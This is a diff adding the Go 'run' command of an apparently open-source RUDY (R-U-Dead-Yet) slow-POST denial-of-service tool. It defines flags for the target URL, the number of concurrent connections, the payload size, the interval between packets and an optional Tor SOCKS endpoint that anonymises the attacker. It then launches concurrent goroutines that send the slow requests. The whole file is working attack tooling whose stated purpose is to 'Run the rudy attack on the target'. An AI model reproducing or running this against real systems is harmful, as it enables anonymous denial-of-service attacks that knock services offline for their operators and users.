|
| 1 | +package commands |
| 2 | + |
| 3 | +import ( |
| 4 | + "sync" |
| 5 | + "time" |
| 6 | + |
| 7 | + "github.com/darkweak/rudy/logger" |
| 8 | + "github.com/darkweak/rudy/request" |
| 9 | + "github.com/dustin/go-humanize" |
| 10 | + "github.com/spf13/cobra" |
| 11 | + "github.com/spf13/pflag" |
| 12 | +) |
| 13 | + |
| 14 | +var ( |
| 15 | + concurrents int64 |
| 16 | + filepath string |
| 17 | + interval time.Duration |
| 18 | + size string |
| 19 | + tor string |
| 20 | + url string |
| 21 | +) |
| 22 | + |
| 23 | +type Run struct{} |
| 24 | + |
| 25 | +// SetFlags set the available flags. |
| 26 | +func (*Run) SetFlags(flags *pflag.FlagSet) { |
| 27 | + flags.Int64VarP(&concurrents, "concurrents", "c", 1, "Concurrent requests count.") |
| 28 | + flags.StringVarP(&filepath, "filepath", "f", "", "Filepath to the payload.") |
| 29 | + flags.DurationVarP(&interval, "interval", "i", 10*time.Second, "Interval between packets.") |
| 30 | + // Default ~1MB |
| 31 | + flags.StringVarP(&size, "payload-size", "p", "1MB", "Random generated payload with the given size.") |
| 32 | + flags.StringVarP(&tor, "tor", "t", "", "TOR endpoint (either socks5://1.1.1.1:1234, or 1.1.1.1:1234).") |
| 33 | + flags.StringVarP(&url, "url", "u", "", "Target URL to send the attack to.") |
| 34 | +} |
| 35 | + |
| 36 | +// GetRequiredFlags returns the server required flags. |
| 37 | +func (*Run) GetRequiredFlags() []string { |
| 38 | + return []string{"url"} |
| 39 | +} |
| 40 | + |
| 41 | +// GetArgs return the args. |
| 42 | +func (*Run) GetArgs() cobra.PositionalArgs { |
| 43 | + return nil |
| 44 | +} |
| 45 | + |
| 46 | +// GetDescription returns the command description. |
| 47 | +func (*Run) GetDescription() string { |
| 48 | + return "Run the rudy attack" |
| 49 | +} |
| 50 | + |
| 51 | +// GetLongDescription returns the command long description. |
| 52 | +func (*Run) GetLongDescription() string { |
| 53 | + return "Run the rudy attack on the target" |
| 54 | +} |
| 55 | + |
| 56 | +// Info returns the command name. |
| 57 | +func (*Run) Info() string { |
| 58 | + return "run -u http://domain.com" |
| 59 | +} |
| 60 | + |
| 61 | +// Run executes the script associated to the command. |
| 62 | +func (*Run) Run() RunCmd { |
| 63 | + return func(_ *cobra.Command, _ []string) { |
| 64 | + var waitgroup sync.WaitGroup |
| 65 | + isize, e := humanize.ParseBytes(size) |
| 66 | + if e != nil { |
| 67 | + panic(e) |
| 68 | + } |
| 69 | + |
| 70 | + waitgroup.Add(int(concurrents)) |
| 71 | + |
| 72 | + for i := 0; i < int(concurrents); i++ { |
| 73 | + go func() { |
| 74 | + req := request.NewRequest(int64(isize), url, interval) |
| 75 | + if tor != "" { |
| 76 | + req.WithTor(tor) |
| 77 | + } |
| 78 | + |
| 79 | + if req.Send() == nil { |
| 80 | + logger.Logger.Sugar().Infof("Request successfully sent to %s", url) |
| 81 | + } |
| 82 | + |
| 83 | + waitgroup.Done() |
| 84 | + }() |
| 85 | + } |
| 86 | + |
| 87 | + waitgroup.Wait() |
| 88 | + } |
| 89 | +} |
| 90 | + |
| 91 | +func newRun() command { |
| 92 | + return &Run{} |
| 93 | +} |
| 94 | + |
| 95 | +var ( |
| 96 | + _ command = (*Run)(nil) |
| 97 | + _ commandInstanciator = newRun |
| 98 | +) |
0 commit comments